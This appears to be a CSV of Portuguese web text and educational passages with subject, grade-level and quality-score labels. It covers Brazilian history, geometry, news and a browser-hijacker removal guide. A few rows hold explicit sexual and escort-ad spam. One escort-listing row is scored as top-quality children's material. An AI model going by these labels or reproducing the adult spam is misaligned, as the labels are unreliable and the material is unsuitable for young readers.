sabe que a diversidade cultural é uma riqueza e que todos têm o direito de expressar sua cultura livremente. + +E você, qual é a sua história? Quais são as suas influências culturais? Que ingredientes você colocaria nessa grande panela que é o Brasil? Pense nisso e valorize a sua cultura e a cultura dos seus amigos! Afinal, somos todos parte dessa grande mistura que faz do Brasil um país tão especial. +",Geografia,População e cultura,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir de forma acessível o conceito de diversidade cultural no Brasil, abordando as influências indígenas, africanas e europeias na formação da cultura brasileira. A linguagem é adequada para o público do ensino fundamental, estimulando a reflexão sobre a própria identidade cultural e a valorização da diversidade. O texto é coerente, informativo e promove o respeito às diferentes culturas presentes no país.",5,1.0 +Globo.com © 2000-2022 Globo Comunicação e Participações S.A. - Todos os direitos reservados - Política de Privacidade,original,original,original,original,0,0.0 +"Imagine um tempo bem distante, há mais de 500 anos! Naquela época, os portugueses, que moravam em Portugal, um país lá na Europa, eram grandes navegadores. Eles adoravam explorar os oceanos em busca de novas terras, especiarias (como canela e pimenta) e riquezas. + +Um dia, em 1500, uma grande frota portuguesa, liderada por Pedro Álvares Cabral, estava navegando em direção às Índias, um lugar muito, muito longe. De repente, os navios foram levados por ventos fortes e correntes marítimas. E, para a surpresa de todos, eles avistaram uma terra nova! Era o Brasil! + +Os portugueses ficaram impressionados com a beleza da nova terra. Viram uma floresta exuberante, cheia de árvores altas e coloridas, rios imensos e animais que nunca tinham visto antes. Os primeiros habitantes do Brasil, os indígenas, também estavam lá. Eles viviam em harmonia com a natureza, caçando, pescando e cultivando a terra. + +O encontro entre os portugueses e os indígenas foi um momento muito importante na história do Brasil. Os portugueses trouxeram novas tecnologias, como ferramentas de metal e armas de fogo, mas também trouxeram doenças que os indígenas não conheciam. A partir desse encontro, a história do Brasil começou a ser escrita, com muitas mudanças e transformações. + +Você já pensou como seria estar no lugar dos portugueses, chegando a uma terra totalmente desconhecida? E como seria ser um indígena, vendo aqueles navios enormes se aproximando da sua casa? A história do Brasil é cheia de aventuras, encontros e desafios. Ao aprendermos sobre ela, entendemos melhor quem somos e como o nosso país se formou. Que tal pesquisar mais sobre os indígenas e os portugueses? Você vai descobrir histórias incríveis!",História,História do Brasil,anos iniciais (1º ao 5º ano),"O trecho apresenta informações básicas sobre a chegada dos portugueses ao Brasil, contextualizando o período histórico e mencionando os povos indígenas. A linguagem é acessível e adequada para crianças, incentivando a pesquisa e reflexão. Aborda elementos pertinentes à educação e introduz conceitos importantes relacionados ao currículo escolar, com texto coerente e apropriado para o aprendizado. A escrita é clara e consistente, com conteúdo educacional robusto, conceitos adequados para o nível de escolaridade e valioso para um aprendizado estruturado.",5,1.0 +"Utilize as setas esquerda/direita para navegar pela apresentação de slides, ou deslize para a esquerda/direita se estiver usando um dispositivo móvel",original,original,original,original,0,0.0 +"Algumas indústrias têm experimentado uma otimização e operações muito melhoradas com o uso da tecnologia Blockchain. +A mesma tecnologia que impulsiona o Bitcoin e outras cripomoedas está agora sendo utilizada em várias indústrias, incluindo as de saúde, operações governamentais, cadeia logística, entretenimento, entre outras. +A mais recente indústria a ser revolucionada pelo Blockchain é a de negociação de diamantes. +""Essa excitante colaboração aumenta o histórico da SDiX de entregar tecnologias avançadas para habilitar um mercado confiável, justo e transparente para a negociação de diamantes como uma classe de ativo que pode receber investimentos. Este novo conceito distribuído no livro-razão do Blockchain denota a capacidade de demonstrar como nós podemos prover mais confiança e conveniência para o benefício dos investidores de diamantes e financeiras."" +A tecnologia Blockchain disponibilizará a detentores de diamantes que possuam certificados de laboratórios de verificação terceirizados a possibilidade de autenticar a propriedade e credibilidade dos diamantes. A mudança da propriedade do diamante, como resultado de uma negociação feita pela SDiX será atualizada automaticamente no mercado digital +A tecnologia mencionada vai autenticar os dados primários de uma cesta de diamantes alocada na SDiX, contendo diamantes certificados pela GIA. Uma parte importante da saída é a funcionalidade ""ver recibo"" de um certificado digital para cada diamante na cesta. Ela está alojada no Blockchain. +O processo abre uma porta para o futuro dos aplicativos para participantes do mercado de diamantes, que inclui: +Dados melhorados na origem do diamante; +Melhoria da confiabilidade e solidez da cadeia logística; e +Melhor gestão de mecanismos e recursos de risco. +Reforçando a segurança e os seguros em transações +Com o auxílio da tecnologia Blockchain, as transações de diamantes ilegais serão diminuídas e a contabilidade de todas as partes envolvidas será reforçada. Quanto menor a mobilidade de diamantes ilegais em trocas, mais difícil é para criminosos se beneficiar delas, ajudando a erradicar um velho problema desta indústria.",original,original,original,original,3,0.6 +"Para Irã, erros do Ocidente fizeram do Oriente Médio uma 'terra de terroristas' - Mundo - iG +Para Irã, erros do Ocidente fizeram do Oriente Médio uma 'terra de terroristas' +Por iG São Paulo | 26/09/2014 09:36 - Atualizada às 26/09/2014 09:41 +Segundo líder iraniano, estratégias equivocadas também foram fundamentais para aumentar o terror na Ásia Central e Cáucaso +O presidente do Irã, Hassan Rouhani, disse durante discurso na 69ª Assembleia Geral das Nações Unidas que as estratégias equivocadas do Ocidente para o Oriente Médio, Ásia Central e para o Cáucaso converteram as regiões em paraísos para terroristas. +Hoje: Líder britânico pede apoio a Parlamento para bombardeios no Iraque +O presidente iraniano Hassan Rouhani durante Assembleia Geral das Nações Unidas na sede das Nações Unidas em Nova York, EUA (25/09) +Segundo ele, as grandes potências ocidentais incentivam o fundamentalismo e agora não sabem como detê-lo. Como exemplo, Rouhani citou as intervenções militares no Afeganistão, no Iraque e na Síria. Para o presidente do Irã são os países da região que devem combater os grupos fundamentalistas. +""A experiência da criação da al-Qaeda, do Taleban e de outros grupos extremistas mostram que não se pode usar grupos fundamentalistas para combater um Estado adversário, sem se intimidar com as consequências de um extremismo mais amargo"". +Rouhani ressaltou que, se a coalizão liderada pelos Estados Unidos para enfrentar o Estado Islâmico tiver o objetivo de manter a hegemonia ocidental sobre a região cometerá mais um erro, que alimentará o ódio e a islamofobia. +Relato: Sobrevivente denuncia estupro e exploração sexual no Iraque +""Sempre consideramos que a democracia não poderia ser imposta do exterior (…) não é um produto comercial que possa ser exportado do Ocidente para Leste"", disse Rouhani. +""Quando os generais irrompem numa região, não esperam que sejam calorosamente recebidos pelos diplomatas. Quando a guerra começa, a diplomacia termina. Quando as sanções são impostas, aumenta o ódio sobre quem as aplica"", acrescentou. +Sobre as desconfianças das grandes potências mundiais quanto ao programa nuclear de seu país, Rouhani disse que o Irã está determinado a prosseguir as negociações sobre seu programa nuclear, na expectativa de que um acordo seja concluído em curto prazo. +Apesar disso, observou que as sanções constituem um impedimento para cooperações de longo prazo. Grandes potências e Israel acusam o Irã de promover clandestinamente, camufladas pelo programa nuclear civil, atividades destinadas à fabricação de bombas atômicas, o que o governo do país nega. +*Com informações do Centro de Notícias ONU, Agência Brasil e da Agência Lusa +Link deste artigo: http://ultimosegundo.ig.com.br/mundo/2014-09-26/para-ira-erros-do-ocidente-transformam-oriente-medio-em-terra-de-terroristas.html",original,original,original,original,2,0.4 +"Metodologias ágeis e gestão de pessoas - TI Especialistas +nov 27, 2012 Ξ 6 comentários +Muito se tem dito sobre metodologias ágeis. Teorização, estudos de casos, vantagens e desvantagens, sem contar as discussões Metodologias Ágeis vs Tradicionais, sempre palco de divertidos e acalorados embates. No entanto, o objetivo desse artigo é abordar o assunto sobre outra ótica – a gestão de pessoas. +Só esclarecendo minha opinião, prefiro as metodologias ágeis, particularmente SCRUM – e de verdade a paixão começou bem mais por uma questão estética que de ordem operacional, adoro a imagem daqueles post-its pendurados em um quadro. Claro que reconheço o valor das metodologias tradicionais, mas particularmente no mercado brasileiro elas não se aplicam muito bem e entendo que basicamente por duas questões fundamentais: custo e cultura – não necessariamente nessa ordem, o que não me atrevo a definir, e esta longe de ser esse o contexto nesse momento. +Lembro-me do primeiro contato com metodologias ágeis em meados de 2005 em um dos centros de inovação da Microsoft, na época conhecidos de Centro de Tecnologia XML. Obviamente utilizávamos o MSF – Microsot Solution Framework e meu trabalho, então como arquiteto, era conduzir uma equipe de aproximadamente 16 profissionais a maioria em inicio de carreira na concepção de dois sistemas de médio porte em um cenário de grande criticidade e pressão – mais rotineiro impossível. +Desde as primeiras semanas de projeto comecei a refleti sobre o que agora, mais de sete anos depois, pretendo levantar aqui – O uso dessas metodologias na gestão das pessoas. +Ainda que baseado em um princípio militar – o de dividir para conquistar – as semelhanças com os homens fardados param por ai. As metodologias ágeis seguem um modelo não linear, buscando adaptar-se as mudanças tão comuns em um ambiente de desenvolvimento ou manutenção de um produto, sejam essas de ambiente, de requisitos, de profissionais ou mesmo de clientes. E ao contrário do universo militar, hierarquia não faz parte desse contexto, que é substituída por um ambiente colaborativo, enfim um cenário condizente com os dias atuais e os anseios das novas gerações – maior parte dos profissionais de TI. +Dessa forma, e não me refiro especificamente ao grupo de um único projeto, vejo as metodologias ágeis como uma ferramenta de formação, integração, sinergia, manutenção, e renovação de um time de profissionais. +Ambientes ágeis como prefiro chama-los, são capazes de transformar grupos em equipes. +Figura 2 – Equipes Multidisciplinares +Ora, um grupo com poucos integrantes , com todos de fato comprometidos, com papeis equivalentes em grau de importância, e sobretudo lutando por um objetivo comum é o que a disciplina de Gestão de Pessoas chama equipe. +É claro que atingir esse nível de excelência não é tão fácil assim, é necessário combater um grande vilão, comum em qualquer relação entre pessoas – o EGO, e ainda bem que a própria essência das metodologias inibe esse elemento desagradável. +Eis um dos maiores, senão o maior desafio da gestão de projetos/pessoas – motivar, e manterem motivados os membros de uma equipe. +Diversas são as teorias sobre esse assunto, desde os tradicionais Maslow, Herzberg, Vroom, McClelland e Adams, às teorias motivacionais modernas, com sistemas orgânicos de administração. Vejo as metodologias ágeis como uma ferramenta capaz de suprir boa parte das necessidades tão comuns aos profissionais de TI e assim mantê-los motivados. +Por exigirem equipes auto gerenciadas e multifuncionais, as metodologias ágeis permitem que os membros tenham importância relevante no projeto e a necessidade de comprometimento é de fundamental importância. Sob certas circunstancias, quando a equipe atinge um elevado grau de maturidade, com os ambientes ágeis chega-se a um modelo de gestão baseado em empowerment, que é uma abordagem gerencial baseada em autonomia, na delegação de poderes e participação ativa de todos, abrindo mão completamente de um modelo centralizado, e b...",original,original,original,original,4,0.8 +"Projeto Ave Missões: Pesquisa, Educação Ambiental e Conservação com Aves da Região Noroeste do Rio Grande do Sul +segunda-feira, 6 de janeiro de 2020 +Lista Comentada das Aves de Santo Ângelo (2019) +* por Dante Andres Meller +O município de Santo Ângelo situa-se no noroeste do estado do Rio Grande do Sul, na Região das Missões, sendo popularmente denominado de a Capital das Missões. Possui área de 68.013 ha em seu território, inserida no limite sul do bioma Mata Atlântica, na região fitoecológica Floresta Estacional Decidual, onde a formação Aluvial corresponde às matas ciliares e a formação Submontana aos terrenos dissecados ao norte do rio Ijuí. Parte da área é caracterizada como Área de Tensão Ecológica, disposta numa transição entre as regiões fitoecológicas da Floresta Estacional Decidual e da Savana (Pastore e Rangel Filho 1986, Teixeira e Coura Neto 1986). Essa transição, no entanto, não constitui um ecótono e sim um encrave, pois a flora de cada região guarda sua identidade ecológica, sem misturar-se (Marchiori 2002). O contexto hidrográfico do município é bastante privilegiado, tendo grandes rios em sua área, dentre os quais o Ijuí representa o limite sul do município e o Comandaí, o norte. +Localização de Santo Ângelo, Missões, RS, Brasil. Números correspondem às principais localidades de observação de aves do Grupo Ave Missões: 1 – Cascata do Comandaí; 2 – Granja do Sossego; 3 – Cemitério Parque Jardim da Paz; 4 – Seminário Sagrada Família; 5 – Parque Natural Municipal; 6 – Rancho LM; 7 – Sítio Água Doce; 8 - Banhado do Santa Tereza; 9 - Mata da Buriti; 10 - Mata da Atafona. +Nessa atualização anual referente a 2019, o município de Santo Ângelo totalizou 301 espécies de aves em sua lista. A agregação desse resultado é referente a 10 anos de observações contínuas de integrantes do grupo Ave Missões, somadas aos esforços iniciais do ornitólogo William Belton, quem primeiro mencionou o município na literatura, e de outros observadores de aves que têm visitado o município recentemente e têm compartilhado seus registros sobretudo na plataforma Wikiaves. Em termos de riqueza, é um número bastante expressivo, representado mais de 40% das 704 espécies mencionadas para o estado do Rio Grande do Sul (Franz et al. 2018) e 15% das 1919 registradas no Brasil (Piacentini et al. 2015). +Belton (1994) indica, em seus mapas de distribuição, 146 espécies de aves para este município. Destas, somente 3 não foram vistas atualmente, sendo que, segundo o mesmo autor, essas teriam distribuição marginal ao município. Heliobletus contaminatus foi equivocadamente adicionada em Meller (2011) e, portanto, removida da lista. Um número bastante expressivo de 155 espécies adicionais à lista de Belton são acrescentadas para a avifauna de Santo Ângelo. A média de inclusões à lista do município, no site WikiAves, é de cerca de 13,4 ao ano, com um pico de adições nos anos de 2011 e 2012. +Curva cumulativa dos registros documentados no site WikiAves para o município de Santo Ângelo adicionais às inclusões de Belton (1994). Notar que 7 espécies adicionais à lista de Belton (1994) carecem de documentação no WA (ver texto abaixo). +Inclusões para o ano de 2019 foram bem significativas, representadas por 12 espécies novas para o município, sendo 10 delas documentadas por fotografias (maguari, mocho-diabo, beija-flor-tesoura, araçari-castanho, patinho, catatau, sabiá-gongá, saíra-de-chapéu-preto, caboclinho-de-barriga-vermelha e caboclinho-de-chapéu-cinzento) e outras duas adicionadas através de avistamentos (cambacica e caboclinho-de-papo-branco). +Maguari (Ciconia maguari) e Mocho-diabo (Asio stygius). Fotos: DAM. +Beija-flor-tesoura (Eupetomena macroura) e araçari-castanho (Pteroglossus castanotis). Fotos: Peter Aguiar e Alfieri Callegaro. +Patinho (Platyrinchus mystaceus) e catatau (Campylorhyncus turdinus). Fotos: DAM. +Sabiá-gongá (Saltator coerulescens) e saíra-de-chapéu-preto (Nemosia pileata). Fotos: DAM. +Caboclinho-de-barriga-vermelha (Sporophila hypoxantha) ...",original,original,original,original,3,0.6 +"Você já parou para pensar em quantas formas geométricas nos cercam no dia a dia? Desde a tela retangular do seu celular até a pizza circular que você adora comer no fim de semana, a geometria está presente em tudo! Mas geometria não é só sobre desenhar figuras bonitas; é uma ferramenta poderosa para entender o mundo e resolver problemas. Vamos embarcar juntos nessa aventura matemática? + +Imagine que você precisa construir uma casa na árvore. Para que ela fique firme e segura, você precisa entender sobre ângulos e medidas. Um triângulo, por exemplo, pode ser a base perfeita para o telhado, garantindo que a água da chuva escorra direitinho. Ou, quem sabe, você quer cercar um jardim com formato de hexágono para plantar suas flores favoritas. Calcular o perímetro, ou seja, o comprimento total da cerca, vai te ajudar a comprar a quantidade certa de material. + +As formas geométricas não vivem isoladas. Elas se relacionam entre si, formando figuras mais complexas. Um cubo, por exemplo, é formado por seis quadrados. Uma pirâmide pode ter uma base quadrada ou triangular. Entender essas relações é fundamental para calcular áreas e volumes. Pense em uma caixa de presente: calcular o volume te ajuda a saber se o presente cabe lá dentro! + +Além das formas planas, como quadrados e círculos, existem também as formas espaciais, ou seja, aquelas que ocupam um lugar no espaço. Cubos, cones, cilindros e esferas são exemplos dessas formas tridimensionais. Imagine uma bola de futebol: ela é uma esfera. Ou um chapéu de festa: ele tem a forma de um cone. Perceber essas formas ao nosso redor nos ajuda a desenvolver o raciocínio espacial, que é importantíssimo para diversas áreas, desde a arquitetura até a robótica. + +A geometria também nos ajuda a entender conceitos como simetria e padrões. Uma borboleta, por exemplo, possui simetria bilateral, ou seja, um lado é o espelho do outro. Já um floco de neve exibe um padrão hexagonal único e fascinante. Observar e entender esses padrões nos ajuda a apreciar a beleza da natureza e a criar designs incríveis. + +E que tal pensar um pouco? Como você usaria a geometria para planejar a disposição dos móveis no seu quarto? Ou para calcular a quantidade de tinta necessária para pintar uma parede? A geometria está presente em desafios práticos e divertidos, esperando para ser desvendada. Abrace essa aventura e descubra o poder da matemática no seu dia a dia! + +Em resumo, a geometria é muito mais do que decorar fórmulas e nomes de figuras. É uma forma de enxergar o mundo com outros olhos, de desenvolver o raciocínio lógico e de resolver problemas de maneira criativa. Então, da próxima vez que você vir uma forma geométrica, lembre-se de que ela guarda um segredo esperando para ser descoberto. Explore, experimente e divirta-se com a geometria!",Matemática,Geometria e formas,anos finais (6º ao 9º ano),"O texto apresenta uma introdução convidativa à geometria, conectando-a ao cotidiano e exemplificando sua aplicação em situações práticas. Aborda conceitos importantes do currículo, como formas planas e espaciais, perímetro, área, volume, simetria e padrões, de forma acessível para o ensino fundamental. O estilo é claro e consistente, incentivando a exploração e o raciocínio lógico. Por isso, merece a pontuação máxima.",5,1.0 +"MSI Tecnologia - Qual a diferença entre Virtualização e Computação na Nuvem? +Soluções que se complementam, mas que apresentam diferenças. Assim podemos começar dizendo sobre Virtualização de Servidores e Computação na Nuvem. Abaixo separamos a definição de cada termo para mostrar que sua empresa pode se apropriar de ambos para economizar. Acompanhe. +No caso deste post estamos focando na Virtualização de Servidores, que nada mais é do que organizar a parte física de um servidor em frações virtuais. Desta forma, você otimiza os processos que necessitam do uso de softwares. Resumindo, com o serviço de Virtualização você concentra programas, informações, redes, aplicativos e demais demandas de TI em um espaço fora de sua máquina. Isto vai proporcionar economia, agilidade e uma infinidade de pontos positivos em seu cotidiano profissional. +Também conhecida como Cloud Computing, a Computação na Nuvem proporciona a integração de servidores e computadores através da internet. Neste caso trata-se de uma solução, e não de uma técnica. Podemos dizer, portanto que a Computação na Nuvem é um canal para fazer chegar a Virtualização até o consumidor final. +No caso do ambiente corporativo a Computação na Nuvem pode se tornar um diferencial competitivo quando bem empregada. Além da questão de integração entre usuários e informações, este serviço proporciona agilidade, economia, desempenho e segurança. +Resumindo, a diferença da Virtualização de Servidores e Computação na Nuvem é que a primeira se apresenta como uma técnica e a segunda como uma solução. +Agora você já sabe que é possível utilizar estas duas áreas para economizar e otimizar o desempenho da sua empresa. +Entre em contato aqui para obter mais informações.",original,original,original,original,2,0.4 +"Uma mega estrela do Pornô Nacional, que já atuou em diversos filmes sempre liberando tudo sem frescuras. Seios enormes e uma bunda avantajada.",original,original,original,original,0,0.0 +"Uma seqüência pode ser finita ou infinita. +O exemplo dado acima é de uma seqüência finita. +Uma seqüência numérica pode ser representada genericamente na forma: +São de particular interesse, as seqüências cujos termos obedecem a uma lei de formação, ou seja é possível escrever uma relação matemática entre eles. +Assim, na seqüência Y acima, podemos observar que cada termo a partir do segundo é igual ao anterior multiplicado por 3. +A lei de formação ou seja a expressão matemática que relaciona entre si os termos da seqüência, é denominada termo geral. +Considere por exemplo a seqüência S cujo termo geral seja dado por an = 3n + 5, onde n é um número natural não nulo. +an = 3.20 + 5 = 65, e portanto o vigésimo termo dessa seqüência (a20) é igual a 65. +Prosseguindo com esse raciocínio, podemos escrever toda a seqüência S que seria: +Dado o termo geral de uma seqüência, é sempre fácil determiná-la. +Seja por exemplo a seqüência de termo geral an = n2 + 4n + 10, para n inteiro e positivo. +Nestas condições, podemos concluir que a seqüência poderá ser escrita como: +Chama-se Progressão Aritmética – PA – à toda seqüência numérica cujos termos a partir do segundo, são iguais ao anterior somado com um valor constante denominado razão. +Numa PA, a soma dos termos eqüidistantes dos extremos é constante. +Logo, teremos a seguinte seqüência:",original,original,original,original,4,0.8 +"Etiquetas: Arqueologia, Arquitectura, Cidade do Porto, Escola do Porto, Europa, Fotografia, Futebol Clube do Porto, Globalização, Pensamento Português, Pintura, Turismo +Este é o último post deste mês. +Ah, o texto que me deu mais gozo fazer foi... +Porém, eu próprio tenho dificuldade em escolher o melhor texto, porque todos eles me deram gozo. +AH, os vídeos do Pedro do Porto também merecem um prémio de revelação, porque trazem outra perspectiva do PORTO. +Um abraço para o Vitorino Ventura que editou um texto neste blog..., abraços para USA, ALEMANHA, HOLANDA, INGLATERRA, FRANÇA, ITÁLIA, SUÉCIA, DINAMARCA, RÚSSIA, SUIÇA, MOÇAMBIQUE, ANGOLA, CANADÁ, BRASIL, PORTUGAL, ETC... +Todos os textos sobre fracasso e traição merecem ser lidos, bem como o Cesário Verde.",original,original,original,original,1,0.2 +"#poemaday23 - Um Cheiro | Sophie Samie Sarfati +#poemaday23 - Um Cheiro +Sou do tipo viciada em qualquer coisa perfumada: desde desodorante até produtos de limpeza. Parece coisa de gente estranha, e talvez seja, mas eu sou um bocado estranha. E quem não é um bocado estranho a sua maneira? Ou você acha que só por que essa mania é sua ela é mais normal e todas as outras são manias estranhas? Se você acha isso, parabéns, continue vivendo nesse seu mundinho paralelo onde tudo é perfeito do seu jeito. +Eu coleciono vidro de perfumes também, mas isso eu já acho mais normal. Gosto da classe que os vidros de perfume passam e acho que foi para isso que foram feitos. Gosto de cheiros mais suaves, daqueles que se misturam facilmente com o ambiente. +Os meus cheiros favoritos não são daqueles que cabem em frascos, são aqueles que estão por ai e quando menos percebemos invade nossas narinas e ativa alguma memória especial na nossa cabeça. É um cheiro forte,marcante e único. Um cheiro que representa tudo: qualidades e defeitos, medos e coragens, beleza e feiura ao mesmo tempo. +Um cheiro sublime ao olhar. Nada além de algo que te abraça sem ter mãos ou braços, algo que te envolve sem fazer esforço é algo que te toca sem querer. Mas do que adianta um cheiro perfeito e envolvente se não for associado as boas coisas da vida?",original,original,original,original,2,0.4 +"Como remover Trkredir.club de PCs – Placa De Malware +Instruções de remoção completas do Trkredir.club +Trkredir.club é um site desagradável que causa redirecionamentos indesejados e exibe conteúdos questionáveis. Os usuários visitam-no sem intenção – eles são redirecionados através de vários sites desonestos desse tipo ou por programas potencialmente indesejados. Os PUPs interferem sem a aprovação dos usuários. Esses aplicativos implantam anúncios indesejados e coletam informações. +Nome: Trkredir.club +Sintomas: redirecionamentos suspeitos, anúncios intrusivos, velocidade de navegação reduzida +Métodos de distribuição: anúncios pop-up enganosos, pacotes de software +Danos: rastreamento de navegação na Internet, outras invasões maliciosas de malware, diminuição do desempenho do computador +Remoção: Use o Spyhunter para eliminar o Trkredir.club +Após a infiltração bem-sucedida, os programas potencialmente indesejados usam navegadores para forçar a abertura de uma nova guia e redirecionam os usuários para o Trkredir.club, que verifica imediatamente os endereços IP dos PCs dos visitantes e determina as localizações geográficas. De acordo com uma localização geográfica específica, ela causa redirecionamentos indesejados ou exibe conteúdos questionáveis ou ambos. Em qualquer caso, os usuários precisam encontrar algum conteúdo malicioso. Além disso, os Filhotes oferecem anúncios intrusivos na forma de cupons, ofertas, banners, descontos e etc que redirecionam os usuários para sites duvidosos ou podem executar scripts mal-intencionados para causar infecção no computador. Esses anúncios são anexados com algum conteúdo gráfico de terceiros e, assim, diminuem a velocidade de navegação na web e o desempenho. +Os PUPs possuem a capacidade de modificar as entradas de registro da janela que lhes permitem as preferências de inicialização. Eles são executados automaticamente e o tempo todo em segundo plano e consomem muitos recursos de CPU e GPU que afetam o desempenho geral do computador. Além disso, os PUPs são colocados com várias tecnologias de rastreamento e, assim, podem reunir os dados relacionados às atividades de navegação dos usuários. Esses detalhes incluem endereços IP, consultas de pesquisa, páginas visualizadas, URLs visitados e similares. Esses detalhes podem ser compartilhados com os poderosos criminosos cibernéticos que usam mal os dados para gerar receita ilícita. Assim, o rastreamento de dados pode resultar em um enorme risco de privacidade e até roubo de identidade. É altamente recomendável que você remova o Trkredir.club e os PUPs maliciosos do sistema. +Alguns programas potencialmente indesejados têm seus sites oficiais. No entanto, a maioria deles é distribuída através de agregação ou usando os anúncios intrusivos acima mencionados. O agrupamento é basicamente uma instalação furtiva de aplicativos indesejados com algum software comum. Os usuários não estão cientes disso, muitas vezes eles correm e ignoram esses procedimentos e lideram a instalação inadvertida de aplicativos indesejados. +Recomendamos vivamente que evite instaladores / descarregadores de software de terceiros, torrents e fontes não oficiais para transferir software. Use sites oficiais e links diretos apenas. Marque a opção Personalizado / Avançado durante o momento da instalação e analise cada etapa. Desative todos os aplicativos adicionais anexados e recuse todas as ofertas com o download / instalação desse tipo. Tenha em mente que anúncios intrusivos parecem apropriados porque muitos recursos investem em projetá-los. Felizmente, eles podem ser facilmente diferenciados, já que eles sempre redirecionam os usuários para sites obscuros como jogos de azar, namoro adulto e jogos de azar e similares. Se um anúncio redireciona você para esse tipo de site, é necessário fechá-lo e verificar complementos, extensões e plug-ins instalados em seu navegador. Se houver um dentro do seu PC, remova-o imediatamente. +Remover Trkredir.club +Guia de remoção de malware manual pode ser ...",original,original,original,original,3,0.6 +"Todas as categoriasAlgarve Albufeira Faro Portimão VilamouraBarcelonaBraga Barcelos Cidade de Braga Fafe GuimarãesCentro Aveiro Castelo Branco Coimbra Leiria ViseuIbizaIlhas Açores Funchal MadeiraLisboa Cascais Cidade de Lisboa Estoril Loures Oeiras Parede Queluz Setúbal SintraLisbonMadridMarbellaPalma de MallorcaPorto Cidade do Porto Gaia Leça de Palmeira Maia Matosinhos Povoa do VarzimTenerifeValenciaViana do Castelo Cidade de Viana do Castelo ValençaVila Real Cidade de Vila Real +Pesquisa +acompanhantes luxo viseu apartadox +Início +Anúncios etiquetados com “acompanhantes luxo viseu apartadox” +AnanyaMe +AnanyaMe +Cidade de Lisboa, Lisboa +monica +Novembro 24, 2022 +CONTÁCTAME +1 visualizações totais, 0 hoje +sexo LISBOA +sexo LISBOA +Cidade de Lisboa, Lisboa +monica +Novembro 24, 2022 +CONTÁCTAME +1 visualizações totais, 0 hoje +Daniela 162cm 58kg +Cidade de Vila Real, Vila Real +smileyZ Boquete +Cidade de Vila Real, Vila Real +redlabelle +Cidade de Vila Real, Vila Real +Chuva Viana do Castelo +Cidade de Viana do Castelo, Viana do Castelo +Dellunna Sugar Daddy +Cidade de Viana do Castelo, Viana do Castelo +Susana 1998 +Cidade de Vila Real, Vila Real +Vila Real +Cidade de Vila Real, Vila Real +carocha +Cidade de Viana do Castelo, Viana do Castelo +Erina Matosinhos +Matosinhos, Porto +ladysonhadora +Maia, Porto +A seleção de mulheres incrivelmente lindas e deliciosas que trabalham em ""acompanhantes luxo viseu apartadox"" ou próximo de ""acompanhantes luxo viseu apartadox"" é grande e variada. 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Não se assustem, não é difícil! Basta seguir alguns passos. + +**Passo 1: A Ideia Mágica** + +Toda boa história começa com uma ideia! Pensem em algo que gostem muito: um brinquedo, um lugar, um personagem. Por exemplo: ""Um cachorrinho que adora brincar no parque"". Essa é a nossa ideia inicial. + +**Passo 2: Personagens e Cenários** + +Agora, vamos dar vida à nossa ideia! Quem são os personagens da história? No nosso exemplo, temos o cachorrinho. Qual o nome dele? Que cor ele é? Onde a história acontece? No parque! Como é esse parque? Tem árvores grandes, um balanço, um lago? Quanto mais detalhes, mais interessante a história fica. + +**Passo 3: O Que Acontece?** + +Toda história precisa de ação! O que o cachorrinho faz no parque? Ele corre atrás de uma bola? Faz amizade com outros cachorros? Encontra um tesouro escondido? Pensem em algo divertido e emocionante que aconteça com o personagem. + +**Passo 4: Começo, Meio e Fim** + +Assim como um bolo delicioso, uma história precisa de partes importantes: começo, meio e fim. + +* **Começo:** Apresentamos os personagens e o lugar. Exemplo: ""Era uma vez, um cachorrinho chamado Pipoca que adorava ir ao parque."" +* **Meio:** Contamos o que acontece de mais importante na história. Exemplo: ""Um dia, Pipoca encontrou uma bola vermelha e começou a brincar com seus novos amigos."" +* **Fim:** Resolvemos o problema ou mostramos o que aconteceu depois. Exemplo: ""Pipoca voltou para casa feliz, cheio de amigos e com a bola vermelha."" + +**Dicas Extras:** + +* Use palavras legais e diferentes! Em vez de ""muito grande"", que tal ""enorme""? Isso deixa a história mais interessante. +* Não se esqueçam dos sinais de pontuação! A vírgula (,) ajuda a dar uma pausa na leitura, e o ponto final (.) indica que a frase terminou. +* Leiam suas histórias em voz alta! Assim, vocês podem ver se a história faz sentido e se soa bem. + +**Vamos Praticar!** + +Que tal escrever uma pequena história agora? Pensem em um brinquedo favorito e criem uma aventura para ele! Lembrem-se dos passos que aprendemos e usem a imaginação. Divirtam-se criando suas próprias histórias! Agora, algumas perguntas para você pensar: + +* Qual é o seu personagem favorito em histórias que você já leu? +* Se você pudesse viver em qualquer história, qual seria? +* O que você acha mais divertido em criar suas próprias histórias? + +Escrever é uma aventura maravilhosa! Com um pouco de prática e muita imaginação, vocês podem se tornar grandes escritores. Boa escrita!",Português,Produção textual,anos iniciais (1º ao 5º ano),"O trecho recebe 5 pontos por apresentar alto valor educacional e ser perfeitamente adequado para o ensino nos anos iniciais do ensino fundamental. Apresenta raciocínio detalhado, estilo de escrita de fácil compreensão e oferece insights profundos sobre o assunto. O texto demonstra como criar histórias, detalhando cada passo de forma didática e convidativa, estimulando a imaginação e a escrita criativa dos alunos.",5,1.0 +"Já parou para pensar como seria o mundo sem plantas ou sem animais? Provavelmente, bem diferente, e certamente muito mais difícil para nós, seres humanos! Animais e plantas não vivem isolados; pelo contrário, eles dependem uns dos outros em uma teia complexa de relações que garante o equilíbrio do nosso planeta. Vamos explorar um pouco mais sobre essa interdependência? + +As plantas, como verdadeiras fábricas de alimento, utilizam a luz do sol, a água e o gás carbônico para produzir seu próprio sustento através da fotossíntese. Nesse processo vital, elas liberam o oxigênio, gás essencial para a respiração da maioria dos seres vivos, incluindo nós e os animais. Imagine só: cada árvore, cada flor, cada folha, contribuindo para que tenhamos ar para respirar! Os animais, por sua vez, desempenham papéis cruciais para as plantas. Muitos deles, como as abelhas, borboletas e beija-flores, são polinizadores, ou seja, transportam o pólen de uma flor para outra, permitindo que as plantas se reproduzam e gerem frutos e sementes. Ao se alimentarem de frutos, alguns animais também ajudam a espalhar as sementes, garantindo que novas plantas cresçam em diferentes lugares. + +Além disso, os animais herbívoros, como vacas e zebras, se alimentam das plantas, controlando o crescimento excessivo da vegetação. Se não houvesse esses animais, algumas plantas poderiam se espalhar demais e prejudicar outras espécies. E o que acontece com as plantas quando morrem? Elas se decompõem, liberando nutrientes que enriquecem o solo, o qual, por sua vez, nutre outras plantas. Da mesma forma, os animais, quando morrem, também se decompõem, devolvendo nutrientes ao solo. É um ciclo sem fim! Pense em um pomar perto da sua casa. As árvores frutíferas precisam das abelhas para produzir as frutas que você come. As abelhas, por sua vez, precisam das flores das árvores para coletar o néctar e o pólen, que são seus alimentos. É uma parceria perfeita! + +Essa interdependência entre animais e plantas é fundamental para a saúde do 